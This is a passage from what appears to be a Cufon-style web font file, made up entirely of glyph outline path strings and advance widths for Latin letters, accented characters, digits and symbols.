,154v87,19,134,87,134,184v0,112,-78,199,-263,199r-328,0xm201,-612r0,197r204,0v60,0,105,-35,105,-99v0,-72,-37,-98,-105,-98r-204,0","w":704},{"d":"193,-438v123,-3,120,-208,0,-211v-122,3,-122,208,0,211xm371,-543v0,102,-62,170,-178,170v-116,0,-178,-68,-178,-170v0,-102,62,-171,178,-171v116,0,178,69,178,171","w":380},{"d":"197,0r-188,-517r124,0r131,397r2,0r126,-397r118,0r-185,517r-128,0","w":519},{"d":"552,-202r-504,0r0,-102r504,0r0,102xm301,-387v-39,0,-73,-33,-73,-72v0,-40,34,-72,72,-72v39,0,72,33,72,72v0,36,-33,72,-71,72xm301,25v-39,0,-73,-33,-73,-72v0,-40,34,-72,72,-72v39,0,72,33,72,72v0,36,-33,72,-71,72","w":600},{"d":"76,0r0,-317r-67,0r0,-102r67,0r0,-295r296,0v220,0,315,160,315,357v0,197,-95,357,-315,357r-296,0xm201,-612r0,193r195,0r0,102r-195,0r0,215r123,0v196,0,238,-112,238,-255v0,-143,-42,-255,-238,-255r-123,0","w":722},{"d":"265,-619r-288,0r0,-65r288,0r0,65","w":241},{"d":"514,-517r0,517r-112,0v-2,-23,4,-53,-2,-72v-28,52,-90,86,-147,86v-135,0,-193,-68,-193,-203r0,-328r114,0r0,317v0,91,37,124,99,124v95,0,127,-61,127,-141r0,-300r114,0xm138,-731r134,0r91,143r-83,0","w":574},{"d":"194,-338v66,0,155,68,213,68v40,0,65,-37,88,-68r36,84v-30,42,-63,86,-125,86v-80,0,-130,-68,-217,-68v-44,0,-68,37,-84,68r-36,-84v22,-42,58,-86,125,-86","w":600},{"d":"-4,-225r0,-90v28,0,94,-15,94,-73r0,-206v0,-94,85,-137,128,-137r91,0r0,90r-55,0v-51,0,-56,40,-56,70r0,195v0,84,-75,97,-104,107v32,3,104,14,104,111r0,189v0,30,5,70,56,70r55,0r0,90r-91,0v-43,0,-128,-43,-128,-137r0,-198v0,-65,-66,-81,-94,-81","w":296},{"d":"421,-606r-157,328r193,0r0,-328r-36,0xm-7,0r355,-714r576,0r0,108r-348,0r0,187r326,0r0,102r-326,0r0,209r354,0r0,108r-473,0r0,-183r-239,0r-86,183r-139,0","w":963},{"d":"221,0r0,-165r-137,0r0,-65r137,0r0,-68r-137,0r0,-65r98,0r-187,-351r127,0r156,320r159,-320r124,0r-188,351r99,0r0,65r-137,0r0,68r137,0r0,65r-137,0r0,165r-114,0"},{"d":"249,-381r0,-125r102,0r0,125r201,0r0,102r-201,0r0,125r-102,0r0,-125r-201,0r0,-102r201,0xm48,0r0,-102r504,0r0,102r-504,0","w":600},{"d":"278,-678r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150"},{"w":278},{"d":"88,-432r0,-282r102,0r0,282r-102,0","w":278},{"d":"199,-2r-196,-515r125,0r135,386r2,0r131,-386r119,0r-201,545v-37,93,-64,177,-183,177v-27,0,-53,-2,-79,-6r0,-96v18,3,36,7,54,7v70,3,74,-61,93,-112","w":519},{"d":"260,24r389,-748r76,0r-387,748r-78,0xm751,14v-121,0,-167,-90,-167,-199v0,-108,50,-199,167,-199v117,0,167,91,167,199v0,109,-46,199,-167,199xm674,-185v0,75,20,134,76,134v56,0,78,-59,78,-134v0,-67,-16,-134,-78,-134v-62,0,-76,67,-76,134xm249,-316v-121,0,-167,-90,-167,-199v0,-108,50,-199,167,-199v117,0,167,91,167,199v0,109,-46,199,-167,199xm172,-515v0,75,20,134,76,134v56,0,78,-59,78,-134v0,-67,-16,-134,-78,-134v-62,0,-76,67,-76,134","w":1000},{"d":"246,160r0,-504v-130,0,-215,-77,-215,-182v0,-134,94,-188,233,-188r259,0r0,874r-80,0r0,-809r-117,0r0,809r-80,0","w":600},{"d":"243,-430v82,0,138,-32,138,-110v0,-68,-34,-101,-101,-101v-46,0,-103,24,-103,130r0,511r-114,0r0,-523v0,-130,92,-208,219,-208v107,0,213,65,213,180v0,69,-37,128,-102,153v84,10,134,90,134,171v0,156,-111,264,-285,238r0,-90v10,2,21,3,39,3v118,0,132,-88,132,-156v0,-92,-82,-124,-170,-123r0,-75","w":574},{"d":"49,3v-1,-186,182,-149,176,-335r108,0v0,117,-25,157,-78,203v-43,37,-81,61,-81,128v0,76,62,106,98,106v82,0,121,-59,121,-144r114,0v1,142,-93,239,-240,239v-122,0,-218,-73,-218,-197xm210,-531r134,0r0,125r-134,0r0,-125"},{"d":"206,-708v74,0,164,87,193,-6r56,0v-10,63,-39,114,-111,115v-42,1,-103,-37,-143,-37v-23,0,-42,22,-42,41r-57,0v8,-51,43,-113,104,-113xm379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150"},{"w":278},{"d":"297,-76v198,-2,198,-363,0,-365v-199,2,-197,363,0,365xm297,14v-166,0,-261,-114,-261,-273v0,-158,95,-272,261,-272v166,0,261,114,261,272v0,159,-95,273,-261,273","w":593},{"d":"529,-229r-380,0v0,81,44,153,139,153v66,0,106,-29,126,-86r108,0v-25,113,-121,176,-234,176v-162,0,-253,-113,-253,-272v0,-147,96,-273,250,-273v163,0,263,147,244,302xm149,-304r266,0v-4,-72,-53,-137,-130,-137v-79,0,-133,60,-136,137xm308,-707r114,0r0,108r-114,0r0,-108xm250,-599r-114,0r0,-108r114,0r0,108"},{"d":"380,-731v214,0,342,170,342,374v0,204,-128,374,-342,374v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374xm380,-629v-153,0,-217,135,-217,272v0,137,64,272,217,272v153,0,217,-135,217,-272v0,-137,-64,-272,-217,-272xm410,-904r114,0r0,108r-114,0r0,-108xm352,-796r-114,0r0,-108r114,0r0,108","w":760},{"d":"68,-257r0,-457r125,0r0,416v0,96,6,207,168,207v162,0,168,-111,168,-207r0,-416r125,0r0,457v0,183,-117,274,-293,274v-176,0,-293,-91,-293,-274","w":722},{"d":"146,-475r0,-58v50,2,101,-14,101,-61v0,-36,-38,-50,-69,-50v-44,0,-75,32,-73,76r-80,0v4,-92,62,-146,154,-146v74,0,148,31,148,116v0,44,-25,73,-64,92v51,9,82,50,82,105v0,88,-74,137,-165,137v-109,0,-162,-58,-164,-155r80,0v-2,47,28,85,84,85v47,0,85,-27,85,-71v0,-64,-60,-72,-119,-70","w":360},{"d":"529,-229r-380,0v0,81,44,153,139,153v66,0,106,-29,126,-86r108,0v-25,113,-121,176,-234,176v-162,0,-253,-113,-253,-272v0,-147,96,-273,250,-273v163,0,263,147,244,302xm149,-304r266,0v-4,-72,-53,-137,-130,-137v-79,0,-133,60,-136,137"},{"d":"361,-875r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm68,-257r0,-457r125,0r0,416v0,96,6,207,168,207v162,0,168,-111,168,-207r0,-416r125,0r0,457v0,183,-117,274,-293,274v-176,0,-293,-91,-293,-274","w":722},{"d":"42,-427r0,-90r420,0r0,80r-296,347r311,0r0,90r-455,0r0,-80r286,-347r-266,0","w":500},{"d":"68,-257r0,-457r125,0r0,416v0,96,6,207,168,207v162,0,168,-111,168,-207r0,-416r125,0r0,457v0,183,-117,274,-293,274v-176,0,-293,-91,-293,-274xm391,-904r114,0r0,108r-114,0r0,-108xm333,-796r-114,0r0,-108r114,0r0,108","w":722},{"d":"379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150xm203,-588r90,-143r135,0r-142,143r-83,0"},{"d":"244,-535v-38,23,-140,5,-141,64v0,28,25,33,56,33v39,0,85,-9,85,-53r0,-44xm331,-621r0,151v-2,22,12,25,33,21r0,68v-45,14,-104,14,-109,-41v-52,72,-239,68,-239,-44v0,-77,71,-89,135,-100v52,-9,93,-12,93,-38v0,-43,-34,-45,-60,-45v-39,0,-67,9,-70,42r-85,0v8,-83,85,-107,160,-107v69,0,142,27,142,93","w":380},{"d":"308,-905v74,0,164,87,193,-6r56,0v-10,63,-39,114,-111,115v-42,1,-103,-37,-143,-37v-23,0,-42,22,-42,41r-57,0v8,-51,43,-113,104,-113xm380,-731v214,0,342,170,342,374v0,204,-128,374,-342,374v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374xm380,-629v-153,0,-217,135,-217,272v0,137,64,272,217,272v153,0,217,-135,217,-272v0,-137,-64,-272,-217,-272","w":760},{"d":"-29,-731r134,0r91,143r-83,0","w":241},{"d":"380,-731v214,0,342,170,342,374v0,204,-128,374,-342,374v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374xm380,-629v-153,0,-217,135,-217,272v0,137,64,272,217,272v153,0,217,-135,217,-272v0,-137,-64,-272,-217,-272xm231,-928r134,0r91,143r-83,0","w":760},{"d":"71,0r0,-714r132,0r326,526r2,0r0,-526r119,0r0,714r-132,0r-325,-525r-3,0r0,525r-119,0","w":722},{"d":"32,-166r114,0v6,66,56,90,117,90v43,0,118,-9,115,-68v-3,-60,-86,-68,-169,-86v-84,-19,-166,-48,-166,-153v0,-113,122,-148,216,-148v106,0,202,44,216,159r-119,0v-10,-54,-55,-69,-105,-69v-33,0,-94,8,-94,53v0,56,84,64,168,83v83,19,167,49,167,151v0,123,-124,168,-231,168v-130,0,-227,-58,-229,-180","w":519},{"d":"514,-517r0,517r-112,0v-2,-23,4,-53,-2,-72v-28,52,-90,86,-147,86v-135,0,-193,-68,-193,-203r0,-328r114,0r0,317v0,91,37,124,99,124v95,0,127,-61,127,-141r0,-300r114,0xm317,-707r114,0r0,108r-114,0r0,-108xm259,-599r-114,0r0,-108r114,0r0,108","w":574},{"d":"77,-508r0,-206r125,0r0,206r-33,309r-59,0xm72,0r0,-125r134,0r0,125r-134,0","w":278},{"d":"315,-875r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm76,0r0,-714r514,0r0,108r-389,0r0,187r360,0r0,102r-360,0r0,209r396,0r0,108r-521,0","w":630},{"d":"514,-517r0,517r-112,0v-2,-23,4,-53,-2,-72v-28,52,-90,86,-147,86v-135,0,-193,-68,-193,-203r0,-328r114,0r0,317v0,91,37,124,99,124v95,0,127,-61,127,-141r0,-300r114,0xm212,-588r90,-143r135,0r-142,143r-83,0","w":574},{"d":"215,-708v74,0,164,87,193,-6r56,0v-10,63,-39,114,-111,115v-42,1,-103,-37,-143,-37v-23,0,-42,22,-42,41r-57,0v8,-51,43,-113,104,-113xm60,0r0,-517r108,0v2,25,-3,57,2,78v34,-57,93,-92,161,-92v112,0,183,60,183,176r0,355r-114,0r0,-325v-2,-81,-34,-116,-101,-116v-76,0,-125,60,-125,136r0,305r-114,0","w":574},{"d":"60,-451r155,123r0,112r-155,123r0,-103r95,-76r-95,-76r0,-103xm258,-451r155,123r0,112r-155,123r0,-103r95,-76r-95,-76r0,-103","w":463},{"d":"177,0r-114,0r0,-517r114,0r0,517xm45,-588r90,-143r135,0r-142,143r-83,0","w":241},{"d":"60,0r0,-714r114,0r0,265r2,0v28,-47,87,-82,155,-82v112,0,183,60,183,176r0,355r-114,0r0,-325v-2,-81,-34,-116,-101,-116v-76,0,-125,60,-125,136r0,305r-114,0","w":574},{"d":"-22,17r287,-748r109,0r-287,748r-109,0","w":352},{"d":"529,-229r-380,0v0,81,44,153,139,153v66,0,106,-29,126,-86r108,0v-25,113,-121,176,-234,176v-162,0,-253,-113,-253,-272v0,-147,96,-273,250,-273v163,0,263,147,244,302xm149,-304r266,0v-4,-72,-53,-137,-130,-137v-79,0,-133,60,-136,137xm129,-731r134,0r91,143r-83,0"},{"d":"177,0r-114,0r0,-517r114,0r0,517xm150,-707r114,0r0,108r-114,0r0,-108xm92,-599r-114,0r0,-108r114,0r0,108","w":241},{"d":"379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150xm308,-707r114,0r0,108r-114,0r0,-108xm250,-599r-114,0r0,-108r114,0r0,108"},{"d":"68,-257r0,-457r125,0r0,416v0,96,6,207,168,207v162,0,168,-111,168,-207r0,-416r125,0r0,457v0,183,-117,274,-293,274v-176,0,-293,-91,-293,-274xm286,-770r90,-143r135,0r-142,143r-83,0","w":722},{"d":"120,-678r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm177,0r-114,0r0,-517r114,0r0,517","w":241},{"d":"76,0r0,-714r514,0r0,108r-389,0r0,187r360,0r0,102r-360,0r0,209r396,0r0,108r-521,0","w":630},{"d":"331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0xm363,-904r114,0r0,108r-114,0r0,-108xm305,-796r-114,0r0,-108r114,0r0,108","w":667},{"d":"69,-371r0,-135r139,0r0,135r-139,0xm69,0r0,-135r139,0r0,135r-139,0","w":278},{"d":"224,-731r0,922r-223,0r0,-90r115,0r0,-742r-115,0r0,-90r223,0","w":296},{"d":"261,-905v74,0,164,87,193,-6r56,0v-10,63,-39,114,-111,115v-42,1,-103,-37,-143,-37v-23,0,-42,22,-42,41r-57,0v8,-51,43,-113,104,-113xm331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0","w":667},{"d":"224,-708v74,0,164,87,193,-6r56,0v-10,63,-39,114,-111,115v-42,1,-103,-37,-143,-37v-23,0,-42,22,-42,41r-57,0v8,-51,43,-113,104,-113xm297,-76v198,-2,198,-363,0,-365v-199,2,-197,363,0,365xm297,14v-166,0,-261,-114,-261,-273v0,-158,95,-272,261,-272v166,0,261,114,261,272v0,159,-95,273,-261,273","w":593},{"d":"76,0r0,-714r125,0r0,714r-125,0xm-10,-928r134,0r91,143r-83,0","w":278},{"d":"50,-564v0,-83,67,-150,150,-150v83,0,150,67,150,150v0,83,-67,150,-150,150v-83,0,-150,-67,-150,-150xm106,-564v0,52,42,94,94,94v52,0,94,-42,94,-94v0,-52,-42,-94,-94,-94v-52,0,-94,42,-94,94","w":400},{"d":"379,-259v-71,46,-232,-1,-233,117v0,51,65,66,105,66v50,0,128,-26,128,-98r0,-85xm493,-381r0,266v-2,42,19,42,55,37r0,79v-62,20,-150,24,-160,-50v-105,100,-356,90,-356,-88v0,-129,103,-147,199,-161v82,-12,155,-6,155,-73v0,-59,-61,-70,-107,-70v-64,0,-109,26,-114,82r-114,0v8,-133,121,-172,235,-172v101,0,207,41,207,150"},{"d":"76,0r0,-714r514,0r0,108r-389,0r0,187r360,0r0,102r-360,0r0,209r396,0r0,108r-521,0xm240,-785r90,-143r135,0r-142,143r-83,0","w":630},{"d":"205,-93r-155,-123r0,-112r155,-123r0,103r-95,76r95,76r0,103xm403,-93r-155,-123r0,-112r155,-123r0,103r-95,76r95,76r0,103","w":463},{"d":"333,-875r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0","w":667},{"d":"63,0r0,-714r114,0r0,714r-114,0","w":241},{"d":"76,0r0,-714r125,0r0,606r363,0r0,108r-488,0","w":574},{"d":"76,0r0,-714r514,0r0,108r-389,0r0,187r360,0r0,102r-360,0r0,209r396,0r0,108r-521,0xm345,-904r114,0r0,108r-114,0r0,-108xm287,-796r-114,0r0,-108r114,0r0,108","w":630},{"d":"262,0r0,-280r-268,-434r145,0r189,320r186,-320r140,0r-267,434r0,280r-125,0xm249,-770r90,-143r135,0r-142,143r-83,0","w":648},{"d":"318,-76v200,0,184,-367,0,-365v-96,0,-145,73,-145,183v0,104,53,182,145,182xm63,191r0,-708r108,0v2,22,-4,52,2,70v32,-59,94,-84,160,-84v163,0,242,124,242,275v0,139,-70,270,-223,270v-68,0,-136,-27,-175,-81r0,258r-114,0","w":611},{"d":"409,-194r114,0v-20,127,-96,200,-216,206v-11,17,-26,30,-35,48v55,-12,118,8,118,71v0,106,-144,104,-224,69r18,-40v41,17,126,35,126,-25v0,-40,-54,-47,-85,-28r-22,-19r57,-76v-146,-11,-225,-122,-225,-265v0,-156,85,-278,255,-278v120,0,222,60,233,187r-114,0v-9,-63,-55,-97,-118,-97v-59,0,-142,31,-142,188v0,86,38,177,137,177v66,0,112,-44,123,-118"},{"d":"507,-529v1,186,-182,149,-176,335r-108,0v0,-117,25,-157,78,-203v43,-37,81,-61,81,-128v0,-81,-62,-111,-98,-111v-82,0,-121,59,-121,149r-114,0v-1,-147,93,-244,240,-244v122,0,218,73,218,202xm208,0r0,-125r134,0r0,125r-134,0"},{"d":"55,-606r0,-108r543,0r0,95r-416,511r426,0r0,108r-585,0r0,-102r416,-504r-384,0","w":630},{"d":"331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0xm258,-770r90,-143r135,0r-142,143r-83,0","w":667},{"d":"76,0r0,-714r125,0r0,714r-125,0xm169,-904r114,0r0,108r-114,0r0,-108xm111,-796r-114,0r0,-108r114,0r0,108","w":278},{"d":"76,0r0,-714r493,0r0,108r-368,0r0,187r323,0r0,102r-323,0r0,317r-125,0","w":593},{"d":"268,-76r0,-365v-88,8,-117,105,-117,188v0,80,33,164,117,177xm268,104r0,-90v-145,0,-231,-122,-231,-267v0,-168,96,-278,231,-278r0,-90r43,0r0,90v111,0,204,71,213,187r-114,0v-7,-57,-46,-97,-99,-97r0,365v61,-10,95,-52,103,-118r114,0v-23,126,-93,208,-217,208r0,90r-43,0"},{"d":"35,-598r0,-102r479,0r0,95v-146,165,-243,352,-261,605r-125,0v15,-221,126,-436,270,-598r-363,0"},{"d":"150,-707r114,0r0,108r-114,0r0,-108xm92,-599r-114,0r0,-108r114,0r0,108","w":241},{"d":"33,-238r125,0v0,110,81,153,181,153v110,0,151,-54,151,-108v0,-55,-30,-77,-59,-88v-50,-19,-115,-32,-213,-59v-122,-33,-158,-107,-158,-181v0,-143,132,-210,261,-210v149,0,274,79,274,228r-125,0v-6,-92,-68,-126,-154,-126v-58,0,-131,21,-131,93v0,50,34,78,85,92v11,3,169,44,206,55v94,28,139,108,139,182v0,160,-142,224,-284,224v-163,0,-295,-78,-298,-255","w":648},{"d":"289,-905v74,0,164,87,193,-6r56,0v-10,63,-39,114,-111,115v-42,1,-103,-37,-143,-37v-23,0,-42,22,-42,41r-57,0v8,-51,43,-113,104,-113xm71,0r0,-714r132,0r326,526r2,0r0,-526r119,0r0,714r-132,0r-325,-525r-3,0r0,525r-119,0","w":722},{"d":"302,-646v-42,0,-76,31,-76,79v0,47,39,83,65,119v43,-29,84,-59,84,-116v0,-47,-29,-82,-73,-82xm396,-156r-140,-174v-42,26,-110,49,-110,134v0,77,49,120,115,120v83,0,113,-51,135,-80xm522,0r-65,-80v-53,65,-117,94,-200,94v-131,0,-225,-78,-225,-212v0,-101,82,-165,164,-207v-37,-47,-72,-94,-72,-156v0,-103,78,-170,175,-170v92,0,178,57,178,171v0,84,-60,144,-129,181r111,134v8,-22,17,-50,22,-96r100,0v-7,62,-24,125,-56,175r137,166r-140,0","w":648},{"d":"699,-376r0,376r-80,0r-19,-84v-67,76,-128,101,-215,101v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374v156,0,287,83,306,244r-122,0v-12,-94,-94,-142,-184,-142v-153,0,-217,135,-217,272v0,137,64,272,217,272v128,0,198,-75,200,-196r-190,0r0,-95r304,0","w":759},{"d":"331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0xm184,-928r134,0r91,143r-83,0","w":667},{"d":"201,-612r0,223r205,0v79,0,122,-39,122,-114v0,-91,-59,-109,-124,-109r-203,0xm76,0r0,-714r341,0v156,0,236,72,236,193v1,140,-97,168,-118,182v43,6,106,38,106,151v0,83,12,159,39,188r-134,0v-19,-31,-19,-70,-19,-105v0,-131,-27,-189,-142,-189r-184,0r0,294r-125,0","w":704},{"d":"9,200r18,-40v41,17,126,35,126,-25v0,-40,-54,-47,-85,-28r-22,-19r66,-88r48,0v-14,21,-32,38,-45,60v55,-12,118,8,118,71v0,106,-144,104,-224,69","w":241},{"d":"767,-357v0,225,-170,374,-366,374v-215,0,-368,-161,-368,-374v0,-225,170,-374,368,-374v196,0,366,149,366,374xm687,-357v0,-182,-126,-309,-286,-309v-162,0,-288,127,-288,309v0,170,110,309,288,309v160,0,286,-126,286,-309xm521,-285r69,0v-17,95,-89,154,-177,154v-128,0,-212,-97,-212,-226v0,-121,80,-214,210,-215v91,0,165,53,178,151r-68,0v-10,-51,-53,-86,-110,-86v-84,0,-130,67,-130,150v0,87,51,161,132,161v59,0,101,-37,108,-89","w":800},{"d":"296,-678r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm297,-76v198,-2,198,-363,0,-365v-199,2,-197,363,0,365xm297,14v-166,0,-261,-114,-261,-273v0,-158,95,-272,261,-272v166,0,261,114,261,272v0,159,-95,273,-261,273","w":593},{"d":"361,-216v79,0,137,-105,137,-178v0,-47,-36,-88,-79,-88v-83,0,-138,100,-138,175v0,53,31,91,80,91xm615,-542r-72,263v-10,31,-17,69,10,69v62,0,130,-94,130,-216v0,-149,-121,-240,-267,-240v-170,0,-287,133,-287,300v0,195,127,318,296,318v87,0,171,-37,225,-99r70,0v-64,103,-176,164,-299,164v-206,0,-372,-158,-372,-387v0,-202,168,-361,367,-361v178,0,335,121,335,293v0,201,-155,298,-236,298v-34,0,-54,-24,-61,-58v-27,30,-69,57,-112,57v-83,0,-146,-71,-146,-157v0,-127,88,-259,219,-259v47,0,87,21,112,72r18,-57r70,0","w":800},{"d":"76,0r0,-714r125,0r0,108r190,0v204,0,243,132,243,221v0,88,-39,220,-243,219r-190,0r0,166r-125,0xm201,-504r0,236v143,-8,308,43,308,-118v0,-167,-167,-107,-308,-118","w":667},{"d":"45,-588r90,-143r135,0r-142,143r-83,0","w":241},{"d":"331,-591r-108,307r218,0r-107,-307r-3,0xm-7,0r274,-714r133,0r275,714r-134,0r-67,-189r-285,0r-67,189r-129,0","w":667},{"d":"76,0r0,-714r125,0r0,714r-125,0","w":278},{"d":"9,-432r0,-85r85,0r0,-43v0,-169,111,-162,223,-147r0,89v-44,-9,-112,-18,-109,48r0,53r97,0r0,85r-97,0r0,432r-114,0r0,-432r-85,0","w":315},{"d":"380,-875r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm380,-731v214,0,342,170,342,374v0,204,-128,374,-342,374v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374xm380,-629v-153,0,-217,135,-217,272v0,137,64,272,217,272v153,0,217,-135,217,-272v0,-137,-64,-272,-217,-272","w":760},{"d":"278,-81v100,0,128,-123,128,-269v0,-146,-28,-269,-128,-269v-100,0,-128,123,-128,269v0,146,28,269,128,269xm278,-714v201,0,242,205,242,364v0,159,-41,364,-242,364v-201,0,-242,-205,-242,-364v0,-159,41,-364,242,-364"},{"d":"380,-731v214,0,342,170,342,374v0,204,-128,374,-342,374v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374xm380,-629v-153,0,-217,135,-217,272v0,137,64,272,217,272v153,0,217,-135,217,-272v0,-137,-64,-272,-217,-272","w":760},{"d":"63,0r0,-714r114,0r0,406r206,-209r140,0r-198,190r217,327r-139,0r-158,-251r-68,66r0,185r-114,0","w":537},{"d":"76,0r0,-714r514,0r0,108r-389,0r0,187r360,0r0,102r-360,0r0,209r396,0r0,108r-521,0xm166,-928r134,0r91,143r-83,0","w":630},{"d":"287,-678r-70,90r-92,0r107,-143r111,0r108,143r-93,0xm514,-517r0,517r-112,0v-2,-23,4,-53,-2,-72v-28,52,-90,86,-147,86v-135,0,-193,-68,-193,-203r0,-328r114,0r0,317v0,91,37,124,99,124v95,0,127,-61,127,-141r0,-300r114,0","w":574},{"d":"149,-258v0,90,39,182,143,182v99,0,145,-74,145,-182v0,-112,-50,-183,-145,-183v-94,0,-143,89,-143,183xm547,-517r0,708r-114,0r0,-258r-2,0v-36,57,-107,81,-173,81v-153,0,-223,-131,-223,-270v0,-151,79,-275,242,-275v68,0,126,29,162,84r0,-70r108,0","w":611},{"d":"-8,-731r93,0v80,128,144,271,144,462v0,161,-53,321,-144,460r-93,0v161,-276,167,-645,0,-922","w":278},{"d":"173,0r-160,-517r121,0r101,386r2,0r97,-386r115,0r93,386r2,0r105,-386r116,0r-162,517r-117,0r-96,-384r-2,0r-95,384r-120,0","w":778},{"d":"461,-714r0,484v0,124,-30,247,-235,247v-165,0,-221,-111,-213,-267r125,0v-3,94,8,165,98,165v81,0,100,-49,100,-138r0,-491r125,0","w":537},{"d":"8,-432r0,-85r86,0r0,-155r114,0r0,155r103,0r0,85r-103,0r0,276v0,47,4,71,55,71v16,0,32,0,48,-4r0,88v-25,2,-49,6,-74,6v-119,0,-143,-46,-143,-132r0,-305r-86,0","w":333},{"d":"380,-731v214,0,342,170,342,374v0,204,-128,374,-342,374v-214,0,-342,-170,-342,-374v0,-204,128,-374,342,-374xm380,-629v-153,0,-217,135,-217,272v0,137,64,272,217,272v153,0,217,-135,217,-272v0,-137,-64,-272,-217,-272xm305,-770r90,-143r135,0r-142,143r-83,0","w":760},{"d":"286,191r-93,0v-80,-127,-144,-270,-144,-461v0,-161,53,-321,144,-461r93,0v-161,277,-167,646,0,922","w":278},{"d":"53,-494r0,-90v96,1,187,-32,204,-116r93,0r0,700r-125,0r0,-494r-172,0"},{"d":"60,0r0,-517r108,0v2,25,-3,57,2,78v34,-57,93,-92,161,-92v112,0,183,60,183,176r0,355r-114,0r0,-325v-2,-81,-34,-116,-101,-116v-76,0,-125,60,-125,136r0,305r-114,0","w":574},{"d":"201,-612r0,510r123,0v196,0,238,-112,238,-255v0,-143,-42,-255,-238,-255r-123,0xm76,0r0,-714r296,0v220,0,315,160,315,357v0,197,-95,357,-315,357r-296,0","w":722},{"d":"228,-325r0,-85v76,3,155,-24,155,-110v0,-59,-46,-99,-109,-99v-79,0,-118,71,-116,143r-114,0v6,-136,91,-238,232,-238v109,0,221,63,221,187v0,72,-36,124,-99,152v79,16,127,85,127,175v0,132,-114,214,-248,214v-162,0,-243,-98,-246,-244r114,0v-3,85,43,149,132,149v76,0,134,-45,134,-125v0,-109,-93,-123,-183,-119"},{"d":"517,-102r0,102r-478,0v1,-115,61,-200,154,-265v92,-64,209,-121,211,-230v1,-50,-20,-124,-118,-124v-90,0,-117,77,-120,175r-114,0v0,-155,85,-270,241,-270v171,0,225,125,225,215v0,111,-76,180,-156,236v-81,56,-166,99,-186,161r341,0"},{"d":"149,-253v0,89,44,177,143,177v102,0,145,-93,145,-183v0,-114,-55,-182,-143,-182v-107,0,-145,95,-145,188xm547,-714r0,714r-108,0v-2,-22,4,-52,-2,-70v-30,59,-95,84,-160,84v-163,0,-242,-121,-242,-276v0,-187,111,-269,224,-269v67,0,136,27,174,81r0,-264r114,0","w":611},{"d":"69,0r0,-135r139,0r0,135r-139,0","w":278},{"d":"49,-218r0,-108r291,0r0,108r-291,0","w":389},{"d":"270,-619v-83,0,-122,67,-122,143v0,76,39,147,122,147v85,0,127,-70,127,-147v0,-75,-42,-143,-127,-143xm47,-177r114,0v5,57,43,96,102,96v124,0,138,-148,145,-240r-2,-2v-30,54,-87,84,-151,84v-132,0,-221,-93,-221,-236v0,-136,88,-239,241,-239v198,0,247,162,247,366v0,167,-66,362,-264,362v-111,0,-205,-77,-211,-191"},{"d":"514,-517r0,517r-112,0v-2,-23,4,-53,-2,-72v-28,52,-90,86,-147,86v-135,0,-193,-68,-193,-203r0,-328r114,0r0,317v0,91,37,124,99,124v95,0,127,-61,127,-141r0,-300r114,0","w":574},{"d":"327,-320r0,177r-68,0r0,-414r157,0v100,0,151,35,151,119v0,75,-46,106,-108,113r116,182r-77,0r-107,-177r-64,0xm327,-378v77,-5,172,22,172,-65v0,-77,-100,-51,-172,-56r0,121xm767,-357v0,225,-170,374,-366,374v-215,0,-368,-161,-368,-374v0,-225,170,-374,368,-374v196,0,366,149,366,374xm687,-357v0,-182,-126,-309,-286,-309v-162,0,-288,127,-288,309v0,170,110,309,288,309v160,0,286,-126,286,-309","w":800},{"d":"60,214r0,-1000r102,0r0,1000r-102,0","w":222},{"d":"278,-76v76,0,133,-48,133,-130v0,-77,-57,-123,-133,-123v-76,0,-133,46,-133,123v0,82,57,130,133,130xm278,14v-142,0,-247,-83,-247,-220v0,-90,54,-148,128,-173v-63,-24,-99,-76,-99,-144v0,-119,79,-191,218,-191v139,0,218,72,218,191v0,70,-40,118,-99,146v78,20,128,83,128,171v0,137,-105,220,-247,220xm278,-624v-